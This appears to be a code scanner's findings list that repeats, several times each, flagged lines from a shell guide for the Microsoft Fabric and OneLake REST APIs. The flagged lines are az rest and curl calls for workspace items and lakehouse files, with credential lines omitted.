    EOF az rest --method patch \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 386
    EOF az rest --method patch \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 386
    EOF az rest --method patch \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 386
    EOF az rest --method patch \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 386
    EOF az rest --method patch \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 386
    EOF az rest --method patch \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 387
    az rest --method patch    --resource "https://api.fabric.microsoft.com"
  • Network accessline 387
    az rest --method patch    --resource "https://api.fabric.microsoft.com"
  • Network accessline 387
    az rest --method patch    --resource "https://api.fabric.microsoft.com"
  • Network accessline 387
    az rest --method patch    --resource "https://api.fabric.microsoft.com"
  • Network accessline 387
    az rest --method patch    --resource "https://api.fabric.microsoft.com"
  • Network accessline 387
    az rest --method patch    --resource "https://api.fabric.microsoft.com"
  • Network accessline 387
    az rest --method patch    --resource "https://api.fabric.microsoft.com"
  • Network accessline 387
    az rest --method patch    --resource "https://api.fabric.microsoft.com"
  • Network accessline 388
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 388
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 388
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 388
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 388
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 388
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 388
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 388
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 389
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID" \
  • Network accessline 389
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID" \
  • Network accessline 389
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID" \
  • Network accessline 389
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID" \
  • Network accessline 389
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID" \
  • Network accessline 389
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID" \
  • Network accessline 389
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID" \
  • Network accessline 389
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID" \
  • Network accessline 395
    az rest --method delete \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 395
    az rest --method delete \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 395
    az rest --method delete \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 395
    az rest --method delete \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 395
    az rest --method delete \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 395
    az rest --method delete \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 395
    az rest --method delete \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 395
    az rest --method delete \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 396
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 396
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 396
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 396
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 396
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 396
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 396
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 396
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 397
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID"
  • Network accessline 397
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID"
  • Network accessline 397
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID"
  • Network accessline 397
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID"
  • Network accessline 397
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID"
  • Network accessline 397
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID"
  • Network accessline 397
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID"
  • Network accessline 397
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID"
  • Network accessline 404
    EOF ITEM_ID=$(az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 404
    EOF ITEM_ID=$(az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 404
    EOF ITEM_ID=$(az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 404
    EOF ITEM_ID=$(az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 404
    EOF ITEM_ID=$(az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 404
    EOF ITEM_ID=$(az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 404
    EOF ITEM_ID=$(az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 404
    EOF ITEM_ID=$(az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 405
    ITEM_ID=$(az rest --method post    --resource "https://api.fabric.microsoft.com"
  • Network accessline 405
    ITEM_ID=$(az rest --method post    --resource "https://api.fabric.microsoft.com"
  • Network accessline 405
    ITEM_ID=$(az rest --method post    --resource "https://api.fabric.microsoft.com"
  • Network accessline 405
    ITEM_ID=$(az rest --method post    --resource "https://api.fabric.microsoft.com"
  • Network accessline 405
    ITEM_ID=$(az rest --method post    --resource "https://api.fabric.microsoft.com"
  • Network accessline 405
    ITEM_ID=$(az rest --method post    --resource "https://api.fabric.microsoft.com"
  • Network accessline 405
    ITEM_ID=$(az rest --method post    --resource "https://api.fabric.microsoft.com"
  • Network accessline 405
    ITEM_ID=$(az rest --method post    --resource "https://api.fabric.microsoft.com"
  • Network accessline 406
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 406
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 406
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 406
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 406
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 406
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 406
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 406
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 407
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items" \
  • Network accessline 407
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items" \
  • Network accessline 407
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items" \
  • Network accessline 407
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items" \
  • Network accessline 407
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items" \
  • Network accessline 407
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items" \
  • Network accessline 407
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items" \
  • Network accessline 407
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items" \
  • Network accessline 421
    fetch_all_pages() {   local URL="$1"   local RESOURCE="https://api.fabric.microsoft.com"
  • Network accessline 421
    fetch_all_pages() {   local URL="$1"   local RESOURCE="https://api.fabric.microsoft.com"
  • Network accessline 421
    fetch_all_pages() {   local URL="$1"   local RESOURCE="https://api.fabric.microsoft.com"
  • Network accessline 421
    fetch_all_pages() {   local URL="$1"   local RESOURCE="https://api.fabric.microsoft.com"
  • Network accessline 421
    fetch_all_pages() {   local URL="$1"   local RESOURCE="https://api.fabric.microsoft.com"
  • Network accessline 421
    fetch_all_pages() {   local URL="$1"   local RESOURCE="https://api.fabric.microsoft.com"
  • Network accessline 421
    fetch_all_pages() {   local URL="$1"   local RESOURCE="https://api.fabric.microsoft.com"
  • Network accessline 421
    fetch_all_pages() {   local URL="$1"   local RESOURCE="https://api.fabric.microsoft.com"
  • Network accessline 422
    local URL="$1"   local RESOURCE="https://api.fabric.microsoft.com"   local ALL_ITEMS="[]"
  • Network accessline 422
    local URL="$1"   local RESOURCE="https://api.fabric.microsoft.com"   local ALL_ITEMS="[]"
  • Network accessline 422
    local URL="$1"   local RESOURCE="https://api.fabric.microsoft.com"   local ALL_ITEMS="[]"
  • Network accessline 422
    local URL="$1"   local RESOURCE="https://api.fabric.microsoft.com"   local ALL_ITEMS="[]"
  • Network accessline 422
    local URL="$1"   local RESOURCE="https://api.fabric.microsoft.com"   local ALL_ITEMS="[]"
  • Network accessline 422
    local URL="$1"   local RESOURCE="https://api.fabric.microsoft.com"   local ALL_ITEMS="[]"
  • Network accessline 422
    local URL="$1"   local RESOURCE="https://api.fabric.microsoft.com"   local ALL_ITEMS="[]"
  • Network accessline 422
    local URL="$1"   local RESOURCE="https://api.fabric.microsoft.com"   local ALL_ITEMS="[]"
  • Network accessline 423
    local RESOURCE="https://api.fabric.microsoft.com"
  • Network accessline 423
    local RESOURCE="https://api.fabric.microsoft.com"
  • Network accessline 423
    local RESOURCE="https://api.fabric.microsoft.com"
  • Network accessline 423
    local RESOURCE="https://api.fabric.microsoft.com"
  • Network accessline 423
    local RESOURCE="https://api.fabric.microsoft.com"
  • Network accessline 423
    local RESOURCE="https://api.fabric.microsoft.com"
  • Network accessline 423
    local RESOURCE="https://api.fabric.microsoft.com"
  • Network accessline 423
    local RESOURCE="https://api.fabric.microsoft.com"
  • Network accessline 442
    # Usage: ALL_WORKSPACES=$(fetch_all_pages "https://api.fabric.microsoft.com/v1/workspaces")
  • Network accessline 442
    # Usage: ALL_WORKSPACES=$(fetch_all_pages "https://api.fabric.microsoft.com/v1/workspaces")
  • Network accessline 442
    # Usage: ALL_WORKSPACES=$(fetch_all_pages "https://api.fabric.microsoft.com/v1/workspaces")
  • Network accessline 442
    # Usage: ALL_WORKSPACES=$(fetch_all_pages "https://api.fabric.microsoft.com/v1/workspaces")
  • Network accessline 442
    # Usage: ALL_WORKSPACES=$(fetch_all_pages "https://api.fabric.microsoft.com/v1/workspaces")
  • Network accessline 442
    # Usage: ALL_WORKSPACES=$(fetch_all_pages "https://api.fabric.microsoft.com/v1/workspaces")
  • Network accessline 442
    # Usage: ALL_WORKSPACES=$(fetch_all_pages "https://api.fabric.microsoft.com/v1/workspaces")
  • Network accessline 442
    # Usage: ALL_WORKSPACES=$(fetch_all_pages "https://api.fabric.microsoft.com/v1/workspaces")
  • Network accessline 443
    ALL_WORKSPACES=$(fetch_all_pages "https://api.fabric.microsoft.com/v1/workspaces")
  • Network accessline 443
    ALL_WORKSPACES=$(fetch_all_pages "https://api.fabric.microsoft.com/v1/workspaces")
  • Network accessline 443
    ALL_WORKSPACES=$(fetch_all_pages "https://api.fabric.microsoft.com/v1/workspaces")
  • Network accessline 443
    ALL_WORKSPACES=$(fetch_all_pages "https://api.fabric.microsoft.com/v1/workspaces")
  • Network accessline 443
    ALL_WORKSPACES=$(fetch_all_pages "https://api.fabric.microsoft.com/v1/workspaces")
  • Network accessline 443
    ALL_WORKSPACES=$(fetch_all_pages "https://api.fabric.microsoft.com/v1/workspaces")
  • Network accessline 443
    ALL_WORKSPACES=$(fetch_all_pages "https://api.fabric.microsoft.com/v1/workspaces")
  • Network accessline 443
    ALL_WORKSPACES=$(fetch_all_pages "https://api.fabric.microsoft.com/v1/workspaces")
  • Network accessline 454
    # Usage: fabric_lro POST "https://api.fabric.microsoft.com/v1/..." '{"body":"..."}'
  • Network accessline 454
    # Usage: fabric_lro POST "https://api.fabric.microsoft.com/v1/..." '{"body":"..."}'
  • Network accessline 454
    # Usage: fabric_lro POST "https://api.fabric.microsoft.com/v1/..." '{"body":"..."}'
  • Network accessline 454
    # Usage: fabric_lro POST "https://api.fabric.microsoft.com/v1/..." '{"body":"..."}'
  • Network accessline 454
    # Usage: fabric_lro POST "https://api.fabric.microsoft.com/v1/..." '{"body":"..."}'
  • Network accessline 454
    # Usage: fabric_lro POST "https://api.fabric.microsoft.com/v1/..." '{"body":"..."}'
  • Network accessline 454
    # Usage: fabric_lro POST "https://api.fabric.microsoft.com/v1/..." '{"body":"..."}'
  • Network accessline 454
    # Usage: fabric_lro POST "https://api.fabric.microsoft.com/v1/..." '{"body":"..."}'
  • Network accessline 458
    [Credential-related source omitted]
  • Network accessline 458
    [Credential-related source omitted]
  • Network accessline 458
    [Credential-related source omitted]
  • Network accessline 458
    [Credential-related source omitted]
  • Network accessline 458
    [Credential-related source omitted]
  • Network accessline 458
    [Credential-related source omitted]
  • Network accessline 458
    [Credential-related source omitted]
  • Network accessline 458
    [Credential-related source omitted]
  • Network accessline 459
    [Credential-related source omitted]
  • Network accessline 459
    [Credential-related source omitted]
  • Network accessline 459
    [Credential-related source omitted]
  • Network accessline 459
    [Credential-related source omitted]
  • Network accessline 459
    [Credential-related source omitted]
  • Network accessline 459
    [Credential-related source omitted]
  • Network accessline 459
    [Credential-related source omitted]
  • Network accessline 459
    [Credential-related source omitted]
  • Network accessline 460
    --resource https://api.fabric.microsoft.com \
  • Network accessline 460
    --resource https://api.fabric.microsoft.com \
  • Network accessline 460
    --resource https://api.fabric.microsoft.com \
  • Network accessline 460
    --resource https://api.fabric.microsoft.com \
  • Network accessline 460
    --resource https://api.fabric.microsoft.com \
  • Network accessline 460
    --resource https://api.fabric.microsoft.com \
  • Network accessline 460
    --resource https://api.fabric.microsoft.com \
  • Network accessline 460
    --resource https://api.fabric.microsoft.com \
  • Network accessline 469
    local RESPONSE=$(curl "${CURL_ARGS[@]}")
  • Network accessline 469
    local RESPONSE=$(curl "${CURL_ARGS[@]}")
  • Network accessline 469
    local RESPONSE=$(curl "${CURL_ARGS[@]}")
  • Network accessline 469
    local RESPONSE=$(curl "${CURL_ARGS[@]}")
  • Network accessline 469
    local RESPONSE=$(curl "${CURL_ARGS[@]}")
  • Network accessline 469
    local RESPONSE=$(curl "${CURL_ARGS[@]}")
  • Network accessline 469
    local RESPONSE=$(curl "${CURL_ARGS[@]}")
  • Network accessline 469
    local RESPONSE=$(curl "${CURL_ARGS[@]}")
  • Network accessline 483
    while true; do     sleep "$RETRY"     local STATUS_JSON=$(curl -s "$OP_URL" \
  • Network accessline 483
    while true; do     sleep "$RETRY"     local STATUS_JSON=$(curl -s "$OP_URL" \
  • Network accessline 483
    while true; do     sleep "$RETRY"     local STATUS_JSON=$(curl -s "$OP_URL" \
  • Network accessline 483
    while true; do     sleep "$RETRY"     local STATUS_JSON=$(curl -s "$OP_URL" \
  • Network accessline 483
    while true; do     sleep "$RETRY"     local STATUS_JSON=$(curl -s "$OP_URL" \
  • Network accessline 483
    while true; do     sleep "$RETRY"     local STATUS_JSON=$(curl -s "$OP_URL" \
  • Network accessline 483
    while true; do     sleep "$RETRY"     local STATUS_JSON=$(curl -s "$OP_URL" \
  • Network accessline 483
    while true; do     sleep "$RETRY"     local STATUS_JSON=$(curl -s "$OP_URL" \
  • Network accessline 484
    [Credential-related source omitted]
  • Network accessline 484
    [Credential-related source omitted]
  • Network accessline 484
    [Credential-related source omitted]
  • Network accessline 484
    [Credential-related source omitted]
  • Network accessline 484
    [Credential-related source omitted]
  • Network accessline 484
    [Credential-related source omitted]
  • Network accessline 484
    [Credential-related source omitted]
  • Network accessline 484
    [Credential-related source omitted]
  • Network accessline 485
    local STATUS_JSON=$(curl -s "$OP_URL" \
  • Network accessline 485
    local STATUS_JSON=$(curl -s "$OP_URL" \
  • Network accessline 485
    local STATUS_JSON=$(curl -s "$OP_URL" \
  • Network accessline 485
    local STATUS_JSON=$(curl -s "$OP_URL" \
  • Network accessline 485
    local STATUS_JSON=$(curl -s "$OP_URL" \
  • Network accessline 485
    local STATUS_JSON=$(curl -s "$OP_URL" \
  • Network accessline 485
    local STATUS_JSON=$(curl -s "$OP_URL" \
  • Network accessline 485
    local STATUS_JSON=$(curl -s "$OP_URL" \
  • Network accessline 504
    OneLake uses ADLS Gen2-compatible REST APIs. `az rest` is **not suitable** here because the audience is `https://storage.azure.com`, not the Fabric API. Use `curl` with a Storage-audience token.
  • Network accessline 504
    OneLake uses ADLS Gen2-compatible REST APIs. `az rest` is **not suitable** here because the audience is `https://storage.azure.com`, not the Fabric API. Use `curl` with a Storage-audience token.
  • Network accessline 504
    OneLake uses ADLS Gen2-compatible REST APIs. `az rest` is **not suitable** here because the audience is `https://storage.azure.com`, not the Fabric API. Use `curl` with a Storage-audience token.
  • Network accessline 504
    OneLake uses ADLS Gen2-compatible REST APIs. `az rest` is **not suitable** here because the audience is `https://storage.azure.com`, not the Fabric API. Use `curl` with a Storage-audience token.
  • Network accessline 504
    OneLake uses ADLS Gen2-compatible REST APIs. `az rest` is **not suitable** here because the audience is `https://storage.azure.com`, not the Fabric API. Use `curl` with a Storage-audience token.
  • Network accessline 504
    OneLake uses ADLS Gen2-compatible REST APIs. `az rest` is **not suitable** here because the audience is `https://storage.azure.com`, not the Fabric API. Use `curl` with a Storage-audience token.
  • Network accessline 504
    OneLake uses ADLS Gen2-compatible REST APIs. `az rest` is **not suitable** here because the audience is `https://storage.azure.com`, not the Fabric API. Use `curl` with a Storage-audience token.
  • Network accessline 504
    OneLake uses ADLS Gen2-compatible REST APIs. `az rest` is **not suitable** here because the audience is `https://storage.azure.com`, not the Fabric API. Use `curl` with a Storage-audience token.
  • Network accessline 505
    here because the audience is `https://storage.azure.com`, not the Fabric API.
  • Network accessline 505
    here because the audience is `https://storage.azure.com`, not the Fabric API.
  • Network accessline 505
    here because the audience is `https://storage.azure.com`, not the Fabric API.
  • Network accessline 505
    here because the audience is `https://storage.azure.com`, not the Fabric API.
  • Network accessline 505
    here because the audience is `https://storage.azure.com`, not the Fabric API.
  • Network accessline 505
    here because the audience is `https://storage.azure.com`, not the Fabric API.
  • Network accessline 505
    here because the audience is `https://storage.azure.com`, not the Fabric API.
  • Network accessline 505
    here because the audience is `https://storage.azure.com`, not the Fabric API.
  • Network accessline 508
    > **All OneLake curl calls require** `-H "x-ms-version: 2021-06-08"`.
  • Network accessline 508
    > **All OneLake curl calls require** `-H "x-ms-version: 2021-06-08"`.
  • Network accessline 508
    > **All OneLake curl calls require** `-H "x-ms-version: 2021-06-08"`.
  • Network accessline 508
    > **All OneLake curl calls require** `-H "x-ms-version: 2021-06-08"`.
  • Network accessline 508
    > **All OneLake curl calls require** `-H "x-ms-version: 2021-06-08"`.
  • Network accessline 508
    > **All OneLake curl calls require** `-H "x-ms-version: 2021-06-08"`.
  • Network accessline 508
    > **All OneLake curl calls require** `-H "x-ms-version: 2021-06-08"`.
  • Network accessline 508
    > **All OneLake curl calls require** `-H "x-ms-version: 2021-06-08"`.
  • Network accessline 511
    [Credential-related source omitted]
  • Network accessline 511
    [Credential-related source omitted]
  • Network accessline 511
    [Credential-related source omitted]
  • Network accessline 511
    [Credential-related source omitted]
  • Network accessline 511
    [Credential-related source omitted]
  • Network accessline 511
    [Credential-related source omitted]
  • Network accessline 511
    [Credential-related source omitted]
  • Network accessline 511
    [Credential-related source omitted]
  • Network accessline 512
    ONELAKE="https://onelake.dfs.fabric.microsoft.com"
  • Network accessline 512
    ONELAKE="https://onelake.dfs.fabric.microsoft.com"
  • Network accessline 512
    ONELAKE="https://onelake.dfs.fabric.microsoft.com"
  • Network accessline 512
    ONELAKE="https://onelake.dfs.fabric.microsoft.com"
  • Network accessline 512
    ONELAKE="https://onelake.dfs.fabric.microsoft.com"
  • Network accessline 512
    ONELAKE="https://onelake.dfs.fabric.microsoft.com"
  • Network accessline 512
    ONELAKE="https://onelake.dfs.fabric.microsoft.com"
  • Network accessline 512
    ONELAKE="https://onelake.dfs.fabric.microsoft.com"
  • Access to secretsline 513
    [Credential-related source omitted]
  • Access to secretsline 513
    [Credential-related source omitted]
  • Access to secretsline 513
    [Credential-related source omitted]
  • Access to secretsline 513
    [Credential-related source omitted]
  • Access to secretsline 513
    [Credential-related source omitted]
  • Access to secretsline 513
    [Credential-related source omitted]
  • Access to secretsline 513
    [Credential-related source omitted]
  • Access to secretsline 513
    [Credential-related source omitted]
  • Network accessline 522
    # Top-level listing curl -s "$ONELAKE/$WS_NAME/$LH_NAME?resource=filesystem&recursive=false" "${AUTH[@]}" | jq .
  • Network accessline 522
    # Top-level listing curl -s "$ONELAKE/$WS_NAME/$LH_NAME?resource=filesystem&recursive=false" "${AUTH[@]}" | jq .
  • Network accessline 522
    # Top-level listing curl -s "$ONELAKE/$WS_NAME/$LH_NAME?resource=filesystem&recursive=false" "${AUTH[@]}" | jq .
  • Network accessline 522
    # Top-level listing curl -s "$ONELAKE/$WS_NAME/$LH_NAME?resource=filesystem&recursive=false" "${AUTH[@]}" | jq .
  • Network accessline 522
    # Top-level listing curl -s "$ONELAKE/$WS_NAME/$LH_NAME?resource=filesystem&recursive=false" "${AUTH[@]}" | jq .
  • Network accessline 522
    # Top-level listing curl -s "$ONELAKE/$WS_NAME/$LH_NAME?resource=filesystem&recursive=false" "${AUTH[@]}" | jq .
  • Network accessline 522
    # Top-level listing curl -s "$ONELAKE/$WS_NAME/$LH_NAME?resource=filesystem&recursive=false" "${AUTH[@]}" | jq .
  • Network accessline 522
    # Top-level listing curl -s "$ONELAKE/$WS_NAME/$LH_NAME?resource=filesystem&recursive=false" "${AUTH[@]}" | jq .
  • Network accessline 523
    curl -s "$ONELAKE/$WS_NAME/$LH_NAME?resource=filesystem&recursive=false" "${AUTH[@]}" | jq .
  • Network accessline 523
    curl -s "$ONELAKE/$WS_NAME/$LH_NAME?resource=filesystem&recursive=false" "${AUTH[@]}" | jq .
  • Network accessline 523
    curl -s "$ONELAKE/$WS_NAME/$LH_NAME?resource=filesystem&recursive=false" "${AUTH[@]}" | jq .
  • Network accessline 523
    curl -s "$ONELAKE/$WS_NAME/$LH_NAME?resource=filesystem&recursive=false" "${AUTH[@]}" | jq .
  • Network accessline 523
    curl -s "$ONELAKE/$WS_NAME/$LH_NAME?resource=filesystem&recursive=false" "${AUTH[@]}" | jq .
  • Network accessline 523
    curl -s "$ONELAKE/$WS_NAME/$LH_NAME?resource=filesystem&recursive=false" "${AUTH[@]}" | jq .
  • Network accessline 523
    curl -s "$ONELAKE/$WS_NAME/$LH_NAME?resource=filesystem&recursive=false" "${AUTH[@]}" | jq .
  • Network accessline 523
    curl -s "$ONELAKE/$WS_NAME/$LH_NAME?resource=filesystem&recursive=false" "${AUTH[@]}" | jq .
  • Network accessline 525
    # Subdirectory listing curl -s "$ONELAKE/$WS_NAME/$LH_NAME?resource=filesystem&recursive=true&directory=Tables" "${AUTH[@]}" | jq .
  • Network accessline 525
    # Subdirectory listing curl -s "$ONELAKE/$WS_NAME/$LH_NAME?resource=filesystem&recursive=true&directory=Tables" "${AUTH[@]}" | jq .
  • Network accessline 525
    # Subdirectory listing curl -s "$ONELAKE/$WS_NAME/$LH_NAME?resource=filesystem&recursive=true&directory=Tables" "${AUTH[@]}" | jq .
  • Network accessline 525
    # Subdirectory listing curl -s "$ONELAKE/$WS_NAME/$LH_NAME?resource=filesystem&recursive=true&directory=Tables" "${AUTH[@]}" | jq .
  • Network accessline 525
    # Subdirectory listing curl -s "$ONELAKE/$WS_NAME/$LH_NAME?resource=filesystem&recursive=true&directory=Tables" "${AUTH[@]}" | jq .
  • Network accessline 525
    # Subdirectory listing curl -s "$ONELAKE/$WS_NAME/$LH_NAME?resource=filesystem&recursive=true&directory=Tables" "${AUTH[@]}" | jq .
  • Network accessline 525
    # Subdirectory listing curl -s "$ONELAKE/$WS_NAME/$LH_NAME?resource=filesystem&recursive=true&directory=Tables" "${AUTH[@]}" | jq .
  • Network accessline 525
    # Subdirectory listing curl -s "$ONELAKE/$WS_NAME/$LH_NAME?resource=filesystem&recursive=true&directory=Tables" "${AUTH[@]}" | jq .
  • Network accessline 526
    curl -s "$ONELAKE/$WS_NAME/$LH_NAME?resource=filesystem&recursive=true&directory=Tables" "${AUTH[@]}" | jq .
  • Network accessline 526
    curl -s "$ONELAKE/$WS_NAME/$LH_NAME?resource=filesystem&recursive=true&directory=Tables" "${AUTH[@]}" | jq .
  • Network accessline 526
    curl -s "$ONELAKE/$WS_NAME/$LH_NAME?resource=filesystem&recursive=true&directory=Tables" "${AUTH[@]}" | jq .
  • Network accessline 526
    curl -s "$ONELAKE/$WS_NAME/$LH_NAME?resource=filesystem&recursive=true&directory=Tables" "${AUTH[@]}" | jq .
  • Network accessline 526
    curl -s "$ONELAKE/$WS_NAME/$LH_NAME?resource=filesystem&recursive=true&directory=Tables" "${AUTH[@]}" | jq .
  • Network accessline 526
    curl -s "$ONELAKE/$WS_NAME/$LH_NAME?resource=filesystem&recursive=true&directory=Tables" "${AUTH[@]}" | jq .
  • Network accessline 526
    curl -s "$ONELAKE/$WS_NAME/$LH_NAME?resource=filesystem&recursive=true&directory=Tables" "${AUTH[@]}" | jq .
  • Network accessline 526
    curl -s "$ONELAKE/$WS_NAME/$LH_NAME?resource=filesystem&recursive=true&directory=Tables" "${AUTH[@]}" | jq .
  • Network accessline 532
    curl -s "$ONELAKE/$WS_NAME/$LH_NAME/Files/raw/data.csv" "${AUTH[@]}"
  • Network accessline 532
    curl -s "$ONELAKE/$WS_NAME/$LH_NAME/Files/raw/data.csv" "${AUTH[@]}"
  • Network accessline 532
    curl -s "$ONELAKE/$WS_NAME/$LH_NAME/Files/raw/data.csv" "${AUTH[@]}"
  • Network accessline 532
    curl -s "$ONELAKE/$WS_NAME/$LH_NAME/Files/raw/data.csv" "${AUTH[@]}"
  • Network accessline 532
    curl -s "$ONELAKE/$WS_NAME/$LH_NAME/Files/raw/data.csv" "${AUTH[@]}"
  • Network accessline 532
    curl -s "$ONELAKE/$WS_NAME/$LH_NAME/Files/raw/data.csv" "${AUTH[@]}"
  • Network accessline 532
    curl -s "$ONELAKE/$WS_NAME/$LH_NAME/Files/raw/data.csv" "${AUTH[@]}"
  • Network accessline 532
    curl -s "$ONELAKE/$WS_NAME/$LH_NAME/Files/raw/data.csv" "${AUTH[@]}"
  • Network accessline 544
    # Step 1: Create empty file resource curl -s -X PUT "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH?resource=file" "${AUTH[@]}" -H "Content-Length: 0"
  • Network accessline 544
    # Step 1: Create empty file resource curl -s -X PUT "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH?resource=file" "${AUTH[@]}" -H "Content-Length: 0"
  • Network accessline 544
    # Step 1: Create empty file resource curl -s -X PUT "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH?resource=file" "${AUTH[@]}" -H "Content-Length: 0"
  • Network accessline 544
    # Step 1: Create empty file resource curl -s -X PUT "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH?resource=file" "${AUTH[@]}" -H "Content-Length: 0"
  • Network accessline 544
    # Step 1: Create empty file resource curl -s -X PUT "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH?resource=file" "${AUTH[@]}" -H "Content-Length: 0"
  • Network accessline 544
    # Step 1: Create empty file resource curl -s -X PUT "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH?resource=file" "${AUTH[@]}" -H "Content-Length: 0"
  • Network accessline 544
    # Step 1: Create empty file resource curl -s -X PUT "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH?resource=file" "${AUTH[@]}" -H "Content-Length: 0"
  • Network accessline 544
    # Step 1: Create empty file resource curl -s -X PUT "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH?resource=file" "${AUTH[@]}" -H "Content-Length: 0"
  • Network accessline 545
    curl -s -X PUT "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH?resource=file" "${AUTH[@]}" -H "Content-Length: 0"
  • Network accessline 545
    curl -s -X PUT "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH?resource=file" "${AUTH[@]}" -H "Content-Length: 0"
  • Network accessline 545
    curl -s -X PUT "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH?resource=file" "${AUTH[@]}" -H "Content-Length: 0"
  • Network accessline 545
    curl -s -X PUT "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH?resource=file" "${AUTH[@]}" -H "Content-Length: 0"
  • Network accessline 545
    curl -s -X PUT "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH?resource=file" "${AUTH[@]}" -H "Content-Length: 0"
  • Network accessline 545
    curl -s -X PUT "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH?resource=file" "${AUTH[@]}" -H "Content-Length: 0"
  • Network accessline 545
    curl -s -X PUT "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH?resource=file" "${AUTH[@]}" -H "Content-Length: 0"
  • Network accessline 545
    curl -s -X PUT "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH?resource=file" "${AUTH[@]}" -H "Content-Length: 0"
  • Network accessline 547
    # Step 2: Append data curl -s -X PATCH "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH?action=append&position=0" "${AUTH[@]}" \
  • Network accessline 547
    # Step 2: Append data curl -s -X PATCH "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH?action=append&position=0" "${AUTH[@]}" \
  • Network accessline 547
    # Step 2: Append data curl -s -X PATCH "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH?action=append&position=0" "${AUTH[@]}" \
  • Network accessline 547
